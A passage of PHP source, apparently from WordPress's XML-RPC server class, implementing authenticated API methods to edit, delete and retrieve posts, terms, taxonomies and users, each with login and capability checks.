current_user_can( $post_type->cap->edit_others_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to create posts as this user.' ) ); } $author = get_userdata( $post_data['post_author'] ); if ( ! $author ) { return new IXR_Error( 404, __( 'Invalid author ID.' ) ); } } else { $post_data['post_author'] = $user->ID; } if ( isset( $post_data['comment_status'] ) && 'open' !== $post_data['comment_status'] && 'closed' !== $post_data['comment_status'] ) { unset( $post_data['comment_status'] ); } if ( isset( $post_data['ping_status'] ) && 'open' !== $post_data['ping_status'] && 'closed' !== $post_data['ping_status'] ) { unset( $post_data['ping_status'] ); } // Do some timestamp voodoo. if ( ! empty( $post_data['post_date_gmt'] ) ) { // We know this is supposed to be GMT, so we're going to slap that Z on there by force. $dateCreated = rtrim( $post_data['post_date_gmt']->getIso(), 'Z' ) . 'Z'; } elseif ( ! empty( $post_data['post_date'] ) ) { $dateCreated = $post_data['post_date']->getIso(); } // Default to not flagging the post date to be edited unless it's intentional. $post_data['edit_date'] = false; if ( ! empty( $dateCreated ) ) { $post_data['post_date'] = iso8601_to_datetime( $dateCreated ); $post_data['post_date_gmt'] = iso8601_to_datetime( $dateCreated, 'gmt' ); // Flag the post date to be edited. $post_data['edit_date'] = true; } if ( ! isset( $post_data['ID'] ) ) { $post_data['ID'] = get_default_post_to_edit( $post_data['post_type'], true )->ID; } $post_ID = $post_data['ID']; if ( 'post' === $post_data['post_type'] ) { $error = $this->_toggle_sticky( $post_data, $update ); if ( $error ) { return $error; } } if ( isset( $post_data['post_thumbnail'] ) ) { // Empty value deletes, non-empty value adds/updates. if ( ! $post_data['post_thumbnail'] ) { delete_post_thumbnail( $post_ID ); } elseif ( ! get_post( absint( $post_data['post_thumbnail'] ) ) ) { return new IXR_Error( 404, __( 'Invalid attachment ID.' ) ); } set_post_thumbnail( $post_ID, $post_data['post_thumbnail'] ); unset( $content_struct['post_thumbnail'] ); } if ( isset( $post_data['custom_fields'] ) ) { $this->set_custom_fields( $post_ID, $post_data['custom_fields'] ); } if ( isset( $post_data['terms'] ) || isset( $post_data['terms_names'] ) ) { $post_type_taxonomies = get_object_taxonomies( $post_data['post_type'], 'objects' ); // Accumulate term IDs from terms and terms_names. $terms = array(); // First validate the terms specified by ID. if ( isset( $post_data['terms'] ) && is_array( $post_data['terms'] ) ) { $taxonomies = array_keys( $post_data['terms'] ); // Validating term IDs. foreach ( $taxonomies as $taxonomy ) { if ( ! array_key_exists( $taxonomy, $post_type_taxonomies ) ) { return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) ); } if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->assign_terms ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) ); } $term_ids = $post_data['terms'][ $taxonomy ]; $terms[ $taxonomy ] = array(); foreach ( $term_ids as $term_id ) { $term = get_term_by( 'id', $term_id, $taxonomy ); if ( ! $term ) { return new IXR_Error( 403, __( 'Invalid term ID.' ) ); } $terms[ $taxonomy ][] = (int) $term_id; } } } // Now validate terms specified by name. if ( isset( $post_data['terms_names'] ) && is_array( $post_data['terms_names'] ) ) { $taxonomies = array_keys( $post_data['terms_names'] ); foreach ( $taxonomies as $taxonomy ) { if ( ! array_key_exists( $taxonomy, $post_type_taxonomies ) ) { return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) ); } if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->assign_terms ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) ); } /* * For hierarchical taxonomies, we can't assign a term when multiple terms * in the hierarchy share the same name. */ $ambiguous_terms = array(); if ( is_taxonomy_hierarchical( $taxonomy ) ) { $tax_term_names = get_terms( array( 'taxonomy' => $taxonomy, 'fields' => 'names', 'hide_empty' => false, ) ); // Count the number of terms with the same name. $tax_term_names_count = array_count_values( $tax_term_names ); // Filter out non-ambiguous term names. $ambiguous_tax_term_counts = array_filter( $tax_term_names_count, array( $this, '_is_greater_than_one' ) ); $ambiguous_terms = array_keys( $ambiguous_tax_term_counts ); } $term_names = $post_data['terms_names'][ $taxonomy ]; foreach ( $term_names as $term_name ) { if ( in_array( $term_name, $ambiguous_terms, true ) ) { return new IXR_Error( 401, __( 'Ambiguous term name used in a hierarchical taxonomy. Please use term ID instead.' ) ); } $term = get_term_by( 'name', $term_name, $taxonomy ); if ( ! $term ) { // Term doesn't exist, so check that the user is allowed to create new terms. if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->edit_terms ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a term to one of the given taxonomies.' ) ); } // Create the new term. $term_info = wp_insert_term( $term_name, $taxonomy ); if ( is_wp_error( $term_info ) ) { return new IXR_Error( 500, $term_info->get_error_message() ); } $terms[ $taxonomy ][] = (int) $term_info['term_id']; } else { $terms[ $taxonomy ][] = (int) $term->term_id; } } } } $post_data['tax_input'] = $terms; unset( $post_data['terms'], $post_data['terms_names'] ); } if ( isset( $post_data['post_format'] ) ) { $format = set_post_format( $post_ID, $post_data['post_format'] ); if ( is_wp_error( $format ) ) { return new IXR_Error( 500, $format->get_error_message() ); } unset( $post_data['post_format'] ); } // Handle enclosures. $enclosure = isset( $post_data['enclosure'] ) ? $post_data['enclosure'] : null; $this->add_enclosure_if_new( $post_ID, $enclosure ); $this->attach_uploads( $post_ID, $post_data['post_content'] ); /** * Filters post data array to be inserted via XML-RPC. * * @since 3.4.0 * * @param array $post_data Parsed array of post data. * @param array $content_struct Post data array. */ $post_data = apply_filters( 'xmlrpc_wp_insert_post_data', $post_data, $content_struct ); $post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true ); if ( is_wp_error( $post_ID ) ) { return new IXR_Error( 500, $post_ID->get_error_message() ); } if ( ! $post_ID ) { if ( $update ) { return new IXR_Error( 401, __( 'Sorry, the post could not be updated.' ) ); } else { return new IXR_Error( 401, __( 'Sorry, the post could not be created.' ) ); } } return (string) $post_ID; } /** * Edit a post for any registered post type. * * The $content_struct parameter only needs to contain fields that * should be changed. All other fields will retain their existing values. * * @since 3.4.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type int $post_id Post ID. * @type array $content_struct Extra content arguments. * } * @return true|IXR_Error True on success, IXR_Error on failure. */ public function wp_editPost( $args ) { if ( ! $this->minimum_args( $args, 5 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $post_id = (int) $args[3]; $content_struct = $args[4]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.editPost', $args, $this ); $post = get_post( $post_id, ARRAY_A ); if ( empty( $post['ID'] ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( isset( $content_struct['if_not_modified_since'] ) ) { // If the post has been modified since the date provided, return an error. if ( mysql2date( 'U', $post['post_modified_gmt'] ) > $content_struct['if_not_modified_since']->getTimestamp() ) { return new IXR_Error( 409, __( 'There is a revision of this post that is more recent.' ) ); } } // Convert the date field back to IXR form. $post['post_date'] = $this->_convert_date( $post['post_date'] ); /* * Ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct, * since _insert_post() will ignore the non-GMT date if the GMT date is set. */ if ( '0000-00-00 00:00:00' === $post['post_date_gmt'] || isset( $content_struct['post_date'] ) ) { unset( $post['post_date_gmt'] ); } else { $post['post_date_gmt'] = $this->_convert_date( $post['post_date_gmt'] ); } /* * If the API client did not provide 'post_date', then we must not perpetuate the value that * was stored in the database, or it will appear to be an intentional edit. Conveying it here * as if it was coming from the API client will cause an otherwise zeroed out 'post_date_gmt' * to get set with the value that was originally stored in the database when the draft was created. */ if ( ! isset( $content_struct['post_date'] ) ) { unset( $post['post_date'] ); } $this->escape( $post ); $merged_content_struct = array_merge( $post, $content_struct ); $retval = $this->_insert_post( $user, $merged_content_struct ); if ( $retval instanceof IXR_Error ) { return $retval; } return true; } /** * Delete a post for any registered post type. * * @since 3.4.0 * * @see wp_delete_post() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type int $post_id Post ID. * } * @return true|IXR_Error True on success, IXR_Error instance on failure. */ public function wp_deletePost( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $post_id = (int) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.deletePost', $args, $this ); $post = get_post( $post_id, ARRAY_A ); if ( empty( $post['ID'] ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'delete_post', $post_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) ); } $result = wp_delete_post( $post_id ); if ( ! $result ) { return new IXR_Error( 500, __( 'Sorry, the post could not be deleted.' ) ); } return true; } /** * Retrieve a post. * * @since 3.4.0 * * The optional $fields parameter specifies what fields will be included * in the response array. This should be a list of field names. 'post_id' will * always be included in the response regardless of the value of $fields. * * Instead of, or in addition to, individual field names, conceptual group * names can be used to specify multiple fields. The available conceptual * groups are 'post' (all basic fields), 'taxonomies', 'custom_fields', * and 'enclosure'. * * @see get_post() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type int $post_id Post ID. * @type array $fields The subset of post type fields to return. * } * @return array|IXR_Error Array contains (based on $fields parameter): * - 'post_id' * - 'post_title' * - 'post_date' * - 'post_date_gmt' * - 'post_modified' * - 'post_modified_gmt' * - 'post_status' * - 'post_type' * - 'post_name' * - 'post_author' * - 'post_password' * - 'post_excerpt' * - 'post_content' * - 'link' * - 'comment_status' * - 'ping_status' * - 'sticky' * - 'custom_fields' * - 'terms' * - 'categories' * - 'tags' * - 'enclosure' */ public function wp_getPost( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $post_id = (int) $args[3]; if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** * Filters the list of post query fields used by the given XML-RPC method. * * @since 3.4.0 * * @param array $fields Array of post fields. Default array contains 'post', 'terms', and 'custom_fields'. * @param string $method Method name. */ $fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPost' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPost', $args, $this ); $post = get_post( $post_id, ARRAY_A ); if ( empty( $post['ID'] ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } return $this->_prepare_post( $post, $fields ); } /** * Retrieve posts. * * @since 3.4.0 * * @see wp_get_recent_posts() * @see wp_getPost() for more on `$fields` * @see get_posts() for more on `$filter` values * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type array $filter Optional. Modifies the query used to retrieve posts. Accepts 'post_type', * 'post_status', 'number', 'offset', 'orderby', 's', and 'order'. * Default empty array. * @type array $fields Optional. The subset of post type fields to return in the response array. * } * @return array|IXR_Error Array contains a collection of posts. */ public function wp_getPosts( $args ) { if ( ! $this->minimum_args( $args, 3 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $filter = isset( $args[3] ) ? $args[3] : array(); if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ $fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPosts' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPosts', $args, $this ); $query = array(); if ( isset( $filter['post_type'] ) ) { $post_type = get_post_type_object( $filter['post_type'] ); if ( ! ( (bool) $post_type ) ) { return new IXR_Error( 403, __( 'Invalid post type.' ) ); } } else { $post_type = get_post_type_object( 'post' ); } if ( ! current_user_can( $post_type->cap->edit_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type.' ) ); } $query['post_type'] = $post_type->name; if ( isset( $filter['post_status'] ) ) { $query['post_status'] = $filter['post_status']; } if ( isset( $filter['number'] ) ) { $query['numberposts'] = absint( $filter['number'] ); } if ( isset( $filter['offset'] ) ) { $query['offset'] = absint( $filter['offset'] ); } if ( isset( $filter['orderby'] ) ) { $query['orderby'] = $filter['orderby']; if ( isset( $filter['order'] ) ) { $query['order'] = $filter['order']; } } if ( isset( $filter['s'] ) ) { $query['s'] = $filter['s']; } $posts_list = wp_get_recent_posts( $query ); if ( ! $posts_list ) { return array(); } // Holds all the posts data. $struct = array(); foreach ( $posts_list as $post ) { if ( ! current_user_can( 'edit_post', $post['ID'] ) ) { continue; } $struct[] = $this->_prepare_post( $post, $fields ); } return $struct; } /** * Create a new term. * * @since 3.4.0 * * @see wp_insert_term() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type array $content_struct Content struct for adding a new term. The struct must contain * the term 'name' and 'taxonomy'. Optional accepted values include * 'parent', 'description', and 'slug'. * } * @return int|IXR_Error The term ID on success, or an IXR_Error object on failure. */ public function wp_newTerm( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $content_struct = $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.newTerm', $args, $this ); if ( ! taxonomy_exists( $content_struct['taxonomy'] ) ) { return new IXR_Error( 403, __( 'Invalid taxonomy.' ) ); } $taxonomy = get_taxonomy( $content_struct['taxonomy'] ); if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to create terms in this taxonomy.' ) ); } $taxonomy = (array) $taxonomy; // Hold the data of the term. $term_data = array(); $term_data['name'] = trim( $content_struct['name'] ); if ( empty( $term_data['name'] ) ) { return new IXR_Error( 403, __( 'The term name cannot be empty.' ) ); } if ( isset( $content_struct['parent'] ) ) { if ( ! $taxonomy['hierarchical'] ) { return new IXR_Error( 403, __( 'This taxonomy is not hierarchical.' ) ); } $parent_term_id = (int) $content_struct['parent']; $parent_term = get_term( $parent_term_id, $taxonomy['name'] ); if ( is_wp_error( $parent_term ) ) { return new IXR_Error( 500, $parent_term->get_error_message() ); } if ( ! $parent_term ) { return new IXR_Error( 403, __( 'Parent term does not exist.' ) ); } $term_data['parent'] = $content_struct['parent']; } if ( isset( $content_struct['description'] ) ) { $term_data['description'] = $content_struct['description']; } if ( isset( $content_struct['slug'] ) ) { $term_data['slug'] = $content_struct['slug']; } $term = wp_insert_term( $term_data['name'], $taxonomy['name'], $term_data ); if ( is_wp_error( $term ) ) { return new IXR_Error( 500, $term->get_error_message() ); } if ( ! $term ) { return new IXR_Error( 500, __( 'Sorry, the term could not be created.' ) ); } // Add term meta. if ( isset( $content_struct['custom_fields'] ) ) { $this->set_term_custom_fields( $term['term_id'], $content_struct['custom_fields'] ); } return (string) $term['term_id']; } /** * Edit a term. * * @since 3.4.0 * * @see wp_update_term() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type int $term_id Term ID. * @type array $content_struct Content struct for editing a term. The struct must contain the * term ''taxonomy'. Optional accepted values include 'name', 'parent', * 'description', and 'slug'. * } * @return true|IXR_Error True on success, IXR_Error instance on failure. */ public function wp_editTerm( $args ) { if ( ! $this->minimum_args( $args, 5 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $term_id = (int) $args[3]; $content_struct = $args[4]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.editTerm', $args, $this ); if ( ! taxonomy_exists( $content_struct['taxonomy'] ) ) { return new IXR_Error( 403, __( 'Invalid taxonomy.' ) ); } $taxonomy = get_taxonomy( $content_struct['taxonomy'] ); $taxonomy = (array) $taxonomy; // Hold the data of the term. $term_data = array(); $term = get_term( $term_id, $content_struct['taxonomy'] ); if ( is_wp_error( $term ) ) { return new IXR_Error( 500, $term->get_error_message() ); } if ( ! $term ) { return new IXR_Error( 404, __( 'Invalid term ID.' ) ); } if ( ! current_user_can( 'edit_term', $term_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this term.' ) ); } if ( isset( $content_struct['name'] ) ) { $term_data['name'] = trim( $content_struct['name'] ); if ( empty( $term_data['name'] ) ) { return new IXR_Error( 403, __( 'The term name cannot be empty.' ) ); } } if ( ! empty( $content_struct['parent'] ) ) { if ( ! $taxonomy['hierarchical'] ) { return new IXR_Error( 403, __( 'Cannot set parent term, taxonomy is not hierarchical.' ) ); } $parent_term_id = (int) $content_struct['parent']; $parent_term = get_term( $parent_term_id, $taxonomy['name'] ); if ( is_wp_error( $parent_term ) ) { return new IXR_Error( 500, $parent_term->get_error_message() ); } if ( ! $parent_term ) { return new IXR_Error( 403, __( 'Parent term does not exist.' ) ); } $term_data['parent'] = $content_struct['parent']; } if ( isset( $content_struct['description'] ) ) { $term_data['description'] = $content_struct['description']; } if ( isset( $content_struct['slug'] ) ) { $term_data['slug'] = $content_struct['slug']; } $term = wp_update_term( $term_id, $taxonomy['name'], $term_data ); if ( is_wp_error( $term ) ) { return new IXR_Error( 500, $term->get_error_message() ); } if ( ! $term ) { return new IXR_Error( 500, __( 'Sorry, editing the term failed.' ) ); } // Update term meta. if ( isset( $content_struct['custom_fields'] ) ) { $this->set_term_custom_fields( $term_id, $content_struct['custom_fields'] ); } return true; } /** * Delete a term. * * @since 3.4.0 * * @see wp_delete_term() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type string $taxnomy_name Taxonomy name. * @type int $term_id Term ID. * } * @return true|IXR_Error True on success, IXR_Error instance on failure. */ public function wp_deleteTerm( $args ) { if ( ! $this->minimum_args( $args, 5 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $taxonomy = $args[3]; $term_id = (int) $args[4]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.deleteTerm', $args, $this ); if ( ! taxonomy_exists( $taxonomy ) ) { return new IXR_Error( 403, __( 'Invalid taxonomy.' ) ); } $taxonomy = get_taxonomy( $taxonomy ); $term = get_term( $term_id, $taxonomy->name ); if ( is_wp_error( $term ) ) { return new IXR_Error( 500, $term->get_error_message() ); } if ( ! $term ) { return new IXR_Error( 404, __( 'Invalid term ID.' ) ); } if ( ! current_user_can( 'delete_term', $term_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this term.' ) ); } $result = wp_delete_term( $term_id, $taxonomy->name ); if ( is_wp_error( $result ) ) { return new IXR_Error( 500, $term->get_error_message() ); } if ( ! $result ) { return new IXR_Error( 500, __( 'Sorry, deleting the term failed.' ) ); } return $result; } /** * Retrieve a term. * * @since 3.4.0 * * @see get_term() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type string $taxnomy Taxonomy name. * @type string $term_id Term ID. * } * @return array|IXR_Error IXR_Error on failure, array on success, containing: * - 'term_id' * - 'name' * - 'slug' * - 'term_group' * - 'term_taxonomy_id' * - 'taxonomy' * - 'description' * - 'parent' * - 'count' */ public function wp_getTerm( $args ) { if ( ! $this->minimum_args( $args, 5 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $taxonomy = $args[3]; $term_id = (int) $args[4]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getTerm', $args, $this ); if ( ! taxonomy_exists( $taxonomy ) ) { return new IXR_Error( 403, __( 'Invalid taxonomy.' ) ); } $taxonomy = get_taxonomy( $taxonomy ); $term = get_term( $term_id, $taxonomy->name, ARRAY_A ); if ( is_wp_error( $term ) ) { return new IXR_Error( 500, $term->get_error_message() ); } if ( ! $term ) { return new IXR_Error( 404, __( 'Invalid term ID.' ) ); } if ( ! current_user_can( 'assign_term', $term_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign this term.' ) ); } return $this->_prepare_term( $term ); } /** * Retrieve all terms for a taxonomy. * * @since 3.4.0 * * The optional $filter parameter modifies the query used to retrieve terms. * Accepted keys are 'number', 'offset', 'orderby', 'order', 'hide_empty', and 'search'. * * @see get_terms() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type string $taxnomy Taxonomy name. * @type array $filter Optional. Modifies the query used to retrieve posts. Accepts 'number', * 'offset', 'orderby', 'order', 'hide_empty', and 'search'. Default empty array. * } * @return array|IXR_Error An associative array of terms data on success, IXR_Error instance otherwise. */ public function wp_getTerms( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $taxonomy = $args[3]; $filter = isset( $args[4] ) ? $args[4] : array(); $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getTerms', $args, $this ); if ( ! taxonomy_exists( $taxonomy ) ) { return new IXR_Error( 403, __( 'Invalid taxonomy.' ) ); } $taxonomy = get_taxonomy( $taxonomy ); if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign terms in this taxonomy.' ) ); } $query = array( 'taxonomy' => $taxonomy->name ); if ( isset( $filter['number'] ) ) { $query['number'] = absint( $filter['number'] ); } if ( isset( $filter['offset'] ) ) { $query['offset'] = absint( $filter['offset'] ); } if ( isset( $filter['orderby'] ) ) { $query['orderby'] = $filter['orderby']; if ( isset( $filter['order'] ) ) { $query['order'] = $filter['order']; } } if ( isset( $filter['hide_empty'] ) ) { $query['hide_empty'] = $filter['hide_empty']; } else { $query['get'] = 'all'; } if ( isset( $filter['search'] ) ) { $query['search'] = $filter['search']; } $terms = get_terms( $query ); if ( is_wp_error( $terms ) ) { return new IXR_Error( 500, $terms->get_error_message() ); } $struct = array(); foreach ( $terms as $term ) { $struct[] = $this->_prepare_term( $term ); } return $struct; } /** * Retrieve a taxonomy. * * @since 3.4.0 * * @see get_taxonomy() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type string $taxnomy Taxonomy name. * @type array $fields Optional. Array of taxonomy fields to limit to in the return. * Accepts 'labels', 'cap', 'menu', and 'object_type'. * Default empty array. * } * @return array|IXR_Error An array of taxonomy data on success, IXR_Error instance otherwise. */ public function wp_getTaxonomy( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $taxonomy = $args[3]; if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** * Filters the taxonomy query fields used by the given XML-RPC method. * * @since 3.4.0 * * @param array $fields An array of taxonomy fields to retrieve. * @param string $method The method name. */ $fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomy' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getTaxonomy', $args, $this ); if ( ! taxonomy_exists( $taxonomy ) ) { return new IXR_Error( 403, __( 'Invalid taxonomy.' ) ); } $taxonomy = get_taxonomy( $taxonomy ); if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign terms in this taxonomy.' ) ); } return $this->_prepare_taxonomy( $taxonomy, $fields ); } /** * Retrieve all taxonomies. * * @since 3.4.0 * * @see get_taxonomies() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id Blog ID (unused). * @type string $username Username. * @type string $password Password. * @type array $filter Optional. An array of arguments for retrieving taxonomies. * @type array $fields Optional. The subset of taxonomy fields to return. * } * @return array|IXR_Error An associative array of taxonomy data with returned fields determined * by `$fields`, or an IXR_Error instance on failure. */ public function wp_getTaxonomies( $args ) { if ( ! $this->minimum_args( $args, 3 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $filter = isset( $args[3] ) ? $args[3] : array( 'public' => true ); if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ $fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomies' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getTaxonomies', $args, $this ); $taxonomies = get_taxonomies( $filter, 'objects' ); // Holds all the taxonomy data. $struct = array(); foreach ( $taxonomies as $taxonomy ) { // Capability check for post types. if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) { continue; } $struct[] = $this->_prepare_taxonomy( $taxonomy, $fields ); } return $struct; } /** * Retrieve a user. * * The optional $fields parameter specifies what fields will be included * in the response array. This should be a list of field names. 'user_id' will * always be included in the response regardless of the value of $fields. * * Instead of, or in addition to, individual field names, conceptual group * names can be used to specify multiple fields. The available conceptual * groups are 'basic' and 'all'. * * @uses get_userdata() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $user_id * @type array $fields (optional) * } * @return array|IXR_Error Array contains (based on $fields parameter): * - 'user_id' * - 'username' * - 'first_name' * - 'last_name' * - 'registered' * - 'bio' * - 'email' * - 'nickname' * - 'nicename' * - 'url' * - 'display_name' * - 'roles' */ public function wp_getUser( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user_id = (int) $args[3]; if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** * Filters the default user query fields used by the given XML-RPC method. * * @since 3.5.0 * * @param array $fields User query fields for given method. Default 'all'. * @param string $method The method name. */ $fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUser' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getUser', $args, $this ); if ( ! current_user_can( 'edit_user', $user_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this user.' ) ); } $user_data = get_userdata( $user_id ); if ( ! $user_data ) { return new IXR_Error( 404, __( 'Invalid user ID.' ) ); } return $this->_prepare_user( $user_data, $fields ); } /** * Retrieve users. * * The optional $filter parameter modifies the query used to retrieve users. * Accepted keys are 'number' (default: 50), 'offset' (default: 0), 'role', * 'who', 'orderby', and 'order'. * * The optional $fields parameter specifies what fields will be included * in the response array. * * @uses get_users() * @see wp_getUser() for more on $fields and return values * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $filter (optional) * @type array $fields (optional) * } * @return array|IXR_Error users data */ public function wp_getUsers( $args ) { if ( ! $this->minimum_args( $args, 3 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $filter = isset( $args[3] ) ? $args[3] : array(); if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ $fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUsers' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getUsers', $args, $this ); if ( ! current_user_can( 'list_users' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to list users.' ) ); } $query = array( 'fields' => 'all_with_meta' ); $query['number'] = ( isset( $filter['number'] ) ) ? absint( $filter['number'] ) : 50; $query['offset'] = ( isset( $filter['offset'] ) ) ? absint( $filter['offset'] ) : 0; if ( isset( $filter['orderby'] ) ) { $query['orderby'] = $filter['orderby']; if ( isset( $filter['order'] ) ) { $query['order'] = $filter['order']; } } if ( isset( $filter['role'] ) ) { if ( get_role( $filter['role'] ) === null ) { return new IXR_Error( 403, __( 'Invalid role.' ) ); } $query['role'] = $filter['role']; } if ( isset( $filter['who'] ) ) { $query['who'] = $filter['who']; } $users = get_users( $query ); $_users = array(); foreach ( $users as $user_data ) { if ( current_user_can( 'edit_user', $user_data->ID ) ) { $_users[] = 